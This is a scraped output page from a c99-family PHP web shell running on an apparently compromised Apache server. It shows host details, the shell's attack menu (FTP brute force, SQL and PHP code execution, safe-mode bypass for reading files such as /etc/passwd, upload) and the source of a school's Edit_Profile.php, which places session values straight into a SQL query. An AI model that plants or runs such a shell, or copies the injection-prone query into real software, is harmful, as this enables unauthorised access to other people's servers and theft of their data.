!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/directorBCNU/   drwxr-xr-x
Free 51 GB of 127.8 GB (39.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Edit_Profile.php (4.98 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
session_start
();

 if (
session_is_registered("valid_user")&&session_is_registered("Priority")&&session_is_registered("password") )
 {
include(
"../include/FunctionDB.php");
include(
"admin_menu.php");
 
ConnectDB();
$Username $valid_user;
$sql "Select * From personal_tb Where Username='$Username'";
$result mysql_query($sql) or die(" Error").mysql_error();
$rs mysql_fetch_array($result)
?>
<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">
<style type="text/css">
<!--
.style14 {color: #000000}
.style15 {font-size: 14px}
-->
</style>
<table width="807" border="0" cellpadding="0" cellspacing="0">
    <tr>
        <td width="807"><br>
          <fieldset>
            <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="menu_teacher.php " >หน้าหลัก</a> <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle"><a href="Show_profile.php?Teacher_code=<? echo $rs[Teacher_code?>">ข้อมูลเข้าระบบ</a></font><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"> <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle" >ข้อมูลการเข้าระบบ</a></font></legend>
            <label><div align="center">
              <form id="form1" name="form1" method="post" action="Edit_Update_profile.php">
                <table width="54%" border="0" align="center" cellpadding="0" cellspacing="1" style=" border:0px solid gray"size="12">
                  <tr>
                    <td height="29" bgcolor="#FFFFFF"><font size="2" face="Tahoma"><img src="../picture/previous.gif" onclick="window.history.back()"  width="85" height="22" border="0" /></font></td>
                  </tr>
                  <tr>
                    <td height="29" bgcolor="#FFFFFF">&nbsp;</td>
                  </tr>
                  
                  <tr>
                    <td height="43" ><table width="92%" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#CCCCCC" style="border:0px solid gray">
                      <!--DWLayoutTable-->
                      <tr bordercolor="#FFFFFF" bgcolor="#ECF5FF">
                        <td height="20" colspan="3" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF"><div align="center"><font color="#003366" face="Tahoma"><span class="style15"><font color="#FF0000" face="Tahoma">แก้ไข</font><font color="#003366" face="Tahoma"> แสดง</font>ข้อมูลเข้าระบบ</span></font> <font size="2" face="Tahoma">อ.<font color="#993333"><strong><? echo $rs['Teacher_name'?> &nbsp;<? echo $rs['Teacher_lastname'?> </strong></font></font></div></td>
                      </tr>
                      <tr bordercolor="#FFFFFF" bgcolor="#FFFFFF">
                        <td width="76" height="20" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF"><div align="center"><font color="#003300" face="Tahoma"><span class="style15">ชื่อผู้ใช</span></font><font color="#003300" size="2" face="Tahoma">้</font></div></td>
                        <td nowrap="nowrap" bgcolor="#FFFFFF"><!--DWLayoutEmptyCell-->&nbsp;</td>
                        <td nowrap="nowrap" bgcolor="#FFFFFF"><font color="#003366" size="2" face="Tahoma">
                          <input name="Username" type="text" id="Username" value="<? echo $rs[Username]?>" size="15" disabled="disabled" />
                        </font></td>
                      </tr>
                      <tr bordercolor="#E7FAFE" bgcolor="#E7FAFE">
                        <td height="22" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF"><div align="center"><font color="#003300" face="Tahoma"><span class="style15">รหัสผ่านใหม</span></font><font color="#003300" size="2" face="Tahoma">่</font></div></td>
                        <td width="3" nowrap="nowrap" bgcolor="#FFFFFF"><!--DWLayoutEmptyCell-->&nbsp;</td>
                        <td width="350" nowrap="nowrap" bgcolor="#FFFFFF"><font color="#003366" size="2" face="Tahoma">
                          <input name="Password" type="text" id="Password" value="<? $rs[Password]?>" size="15" />
                        </font><font color="#003366" face="Tahoma"><span class="style15"><font color="#993333">(เฉพาะตัวอักษรอังกฤษ และตัวเลข)</font></span></font> </td>
                      </tr>
                      <tr bordercolor="#FFFFFF" bgcolor="#ECF5FF">
                        <td colspan="3" nowrap="nowrap" bgcolor="#FFFFFF"><div align="center">
                            <input type="hidden" name="Teacher_code" value="<? echo $rs[Teacher_code]?>" />
                            <input type="submit" name="Submit" value="บันทึก" />
                        </div></td>
                      </tr>
                    </table></td>
                  </tr>
                </table>
              </form>
              </div>
            </label>
        </fieldset><br>
        <font color="<?php echo $GLOBALS["COLOR_FONT_3"];?>" size="2"><b>หมายเหตุ :</b> ใช้เมาส์คลิกที่ชื่อ<br>
      </font></td>
    </tr>
</table>
<?php 
    
}
else
{
       echo
"<meta http-equiv=\"refresh\" content=\"3;URL=../login.php\">\n";
       echo
"Please Login ";
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0142 ]--